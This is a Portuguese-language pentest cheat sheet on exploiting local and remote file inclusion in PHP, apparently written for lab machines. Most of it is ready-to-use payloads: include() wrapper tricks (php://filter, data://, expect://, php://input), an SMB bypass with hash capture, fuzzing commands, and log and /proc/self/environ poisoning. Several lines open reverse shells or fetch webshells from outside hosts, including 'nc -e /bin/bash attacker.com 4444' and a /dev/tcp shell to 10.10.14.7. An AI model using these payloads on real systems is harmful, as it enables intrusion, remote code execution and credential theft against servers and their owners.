Skip to content

LFI-RFI

Shell reversa para windows ou linux

https://raw.githubusercontent.com/ivan-sincek/php-reverse-shell/master/src/reverse/php_reverse_shell.php

Para trigar a vulnerabilidade do LFI/RFI, vale apena considerarmos ou imaginarmos como está o código da aplicação. Os cenários possíveis são:

Conceitos

LFI

Neste cenário a aplicação executa o código em php que for fornecido no parâmetro 'page'.

<?php
$file = $_GET['page'];
include($file);
?>

Outro cenário plausível seria o somente leitura com o seguinte código:

get_file_contents($_GET['page'])

https://www.php.net/manual/en/function.file-get-contents.php

RFI

(primeiro a ser testado, porque é mas fácil de explorar) A vulnerabilildade de remote file inclusion não funciona em configurações padrão do PHP desde a versão 5, dado que alllow_url_include fica desabilitado.

allow_url_include = On

Bypass allow_url_include

Quando allow_url_include e allow_url_fopen estão com a configuração "off" ainda é possível de explorar o remote file inclusion com o protocolo SMB no caso de máquinas Windows:

1) Crie um comparrtilhamento com o seguinte comando:

   impacket-smbserver -smb2support share .

2) Escreva um código em PHP em um arquivo chamado: shell.php 3) Explore com: http://example.com/index.php?page=\10.0.0.1\share\shell.php 3.1) http://example.htb/index.php?view=//10.10.14.13/smb/sb.php

Vale considerar que, caso não seja possível a execução nesse cenário, ainda é possível a extração do hash de senha.

qownnotes-media-srjMyL

qownnotes-media-PjvkTT

Copie o texto que vai de "svc_apache" até o final da string e cole em um arquivo chamado hash.txt, for example:

qownnotes-media-ErWStG

qownnotes-media-FnhrWB

Aqui temos um detalhe que é quando, no PHP em particular os arquivos são incluidos, por meio de chamadas como include, por exemplo.

https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.1-Testing_for_Local_File_Inclusion

https://notchxor.github.io/oscp-notes/2-web/LFI-RFI/

Embora a maioria dos exemplos sejam feitos em PHP para exercitar a vunlerabilildade, temos que manter em mente que esse tiop de vulnerabildiade é encontrado em outras linguagens também, tais como JSP, ASP entre outras...

 <?php include($_GET['file'].".php"); ?>

Explorando

Um dos caminhos para poder realizar alguns testes seriam com wfuzz ou ffuf, por exemplo:

wfuzz

wfuzz -c -z file,/usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt --hh 1678 -H "Cookie: PHPSESSID=iijak2sj64mghckom5220vo5vo" https://streamio.htb/admin/?debug=FUZZ

ffuf

ffuf -c -ic -w /usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-windows.txt -u http://school.flight.htb?view=FUZZ -fs 7069,1170,1102

wordlists

sudo apt update
sudo apt install seclists
/usr/share/seclists/Fuzzing/LFI/*

Algumas considerações:

Considere que essas duas wordlists possuem cominhos completos...

Para testes mais básicos em windows, podemos sugerir esta wordlist:

/usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-windows.txt

Para testes mais básicos em Linux:

/usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt

Para testes mais complexos, envolvendo directory traversal, considere usar as wordlists:

Para windows

/usr/share/seclists/Fuzzing/LFI/file_inclusion_windows.txt

Para linux

/usr/share/seclists/Fuzzing/LFI/LFI-LFISuite-pathtotest-huge.txt

Outras wordlists:

$OWNCLOUD\owncloud\Area_de_trabalho\tools\wordlists_payloads\attack\lfi\*
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/File%20Inclusion/Intruders/LFI-WindowsFileCheck.txt
https://raw.githubusercontent.com/tennc/fuzzdb/master/dict/BURP-PayLoad/LFI/LFI-WinblowsFileCheck.txt

LFI to RCE

php://input&cmd=cat%20/etc/passwd

/var/log/apache/access.log&cmd=nc%20-e%20/bin/bash%20attacker.com%204444

https://notchxor.github.io/oscp-notes/2-web/LFI-RFI/

Using file upload forms/functions

upload a shell, then

http://example.com/index.php?page=path/to/uploaded/file.php

Using the PHP wrapper expect://command

if the app use an include:

<?php  
include $_GET['page'];  
?>

http://target.com/index.php?page=expect://whoami

Using php wrapper file://

http://localhost/include.php?page=file:///path/to/file.ext

Using the PHP wrapper php://filter

Com isso eu consigo obter alguns arquivos do servidor

http://localhost/include.php?page=php://filter/convert.base64-encode/resource=secret.inc

http://localhost/include.php?page=php://filter/read=convert.base64-encode/resource=secret.inc

Exemplo:

http://10.10.132.86/dev/index.html?view=php://filter/convert.base64-encode/resource=C:/xampp/htdocs/dev/db.php

http://localhost/include.php?page=php://filter/resource=/etc/passwd

Using PHP input:// stream

POST

/fi/?page=php://input&cmd=dir

Using data://text/plain;base64,command

data://text/plain;base64,[command encoded in base64]

or

data://text/plain,<?php shell_exec($_GET['cmd']);?>

ex:

http://example.com/Keeper.php?page=data://text/plain;base64,JTNDJTNGc3lzdGVtJTI4JTI3aWQlMjclMjklM0IlM0YlM0U=
http://example.com/Keeper.php?page=data://text/plain,<?system('whoami');?>

Using /proc/self/environ

Another popular technique is to manipulate the Process Environ file. In a nutshell, when a process is created and has an open file handler then a file descriptor will point to that requested file.

Our main target is to inject the /proc/self/environ file from the HTTP Header: User-Agent. This file hosts the initial environment of the Apache process. Thus, the environmental variable User-Agent is likely to appear there.

curl http://secureapplication.example/index.php?view=../../../proc/self/environ

response:

HTTP_USER_AGENT="curl/" </body> so we can inject shit like a webshell

curl -H "User-Agent: <?php system('wget http://10.10.14.6/webshell.php -O webshell.php')" http://target.com

curl http://target.com/webshell.php&cmd=ls

Using /proc/self/fd

brute force the fd until you see “referer” /proc/self/fd/{number} then

curl -H "Referer: <?php phpinfo(); ?>" http://target.com

Using zip

Upload a ZIP file containing a PHP shell compressed and access:

example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

Using log files with controllable input like:

. /var/log/apache/access.log
. /var/log/apache/error.log
. /var/log/vsftpd.log
. /var/log/sshd.log
. /var/log/mail

  User-Agent: <?php system("/bin/bash -c bash -i >& /dev/tcp/10\.10\.14\.7/8082 0>&1");?>

Referência em vídeo